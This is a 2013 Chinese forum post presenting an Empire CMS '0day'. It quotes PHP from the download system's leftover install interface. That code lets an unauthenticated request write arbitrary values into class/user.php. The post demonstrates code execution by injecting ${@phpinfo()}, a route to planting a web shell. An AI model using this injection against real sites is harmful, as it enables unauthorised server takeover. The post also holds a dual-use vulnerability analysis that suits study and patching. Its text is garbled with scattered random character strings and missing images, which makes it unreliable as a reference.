找回密码
 立即注册
查看: 2772|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们: K* z: ^7 X* @

- F; Y% f4 o9 g2 ?  S5 o1 R) e$ M% }


: S. ^- G4 ^2 x! o- A这是帝国的一套下载系统 如图( O$ O0 s& s; A# Y1 |
ps(不需要任何账户和密码,直接写shell)

4 Q3 W( Z! B2 A* p* X

由于很多站是由于下载要整合discuz 等等一些论坛....1 R+ ~2 p: q$ k( m; R: e

- }, v$ `+ f: j, H8 ~1 L& q3 t

而帝国他又有一个万能接口,如图


: ~  [! U$ k! Z. g7 z
5 M( t% X* S+ U! V/ r8 k/ k  K7 N% F6 L; L1 U9 G4 w8 n

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码" y% D3 F; m% S( r9 L7 R2 _* {

. D& ]( p; F$ L- V当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
. C! I' M0 d$ i
$ K. E" S; |5 T+ x8 [5 n* X8 J在data/fun.php中的15行
; ^2 m# J% Q) V( H1 i
; V1 x( Y0 T! i7 n+ e& K我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
3 k0 q' R& C7 d( P  J4 _- |8 {8 z
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
# [1 n% C( |3 E; {3 ]* w6 N  h3 X+ r; p; L+ v% d! @
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
$ b3 B- g0 F, X7 ~4 ^8 \# C' o  ]! T- J" [0 o, m/ x6 Y
他将传进来的变量进行了切割,然后赋给了$filetext
7 o/ @2 I4 V/ \: w/ k+ F6 b
% x  Y9 g. V; z2 \, Z然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了8 _" ^: z0 c/ b0 H

3 E4 r: ]2 y2 P! O  T0 l我们看看写入的结果,随便填一个


, @) k) V* q! Y  n/ i2 J4 n: a# `* {- ~3 W

4 Y  K- }+ x/ o# g9 f* ?
1 U$ \: ^* K0 T+ t1 V8 k/ @- ^2 M
1 `' X, s( z& T

* Z5 i2 _" }4 Q# ]' t4 K0 i; s7 T* f- |
% b  W' Z% h8 J+ H

6 I% y6 U$ C' v$ q$ i9 U7 D8 }
. x. r- D; G; z8 b, J

2 ~( d/ {" O) d1 Q
) L! F. V1 l8 t/ ]
, S' r! g  J' F7 U: Q
& S0 w- C$ ~/ K- f# F

2 S% D# O8 ?* [1 G
; r( F) |+ A8 X6 {4 c! e; C# `4 k: x6 I+ O* H- x8 o
7 g! r* ~0 y) O3 P+ \6 i, c
, G' B7 c( y) @7 ?3 D; O
! x0 W& q! A9 E* |- V/ [0 F

6 X: D  e; \& i. D9 a: r$ ]+ L. y
' }% k7 n- j% S# e6 E' X

所以我们淫荡点,写个${@phpinfo()}试试


, `7 F; Z4 C( @

然后访问以下class/user.php这个文件8 o% Q1 q. X# o
日了吧

% K  T+ Q# O6 T8 R) j

6 D1 K; ~7 G, p# M  [

* ~- \0 L$ ^; z$ _3 p  ^) O
: x8 }& Y$ y$ i6 |
- u7 F3 E+ V% S) b  I
# f* y& P" T1 t; v% J3 B( M

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表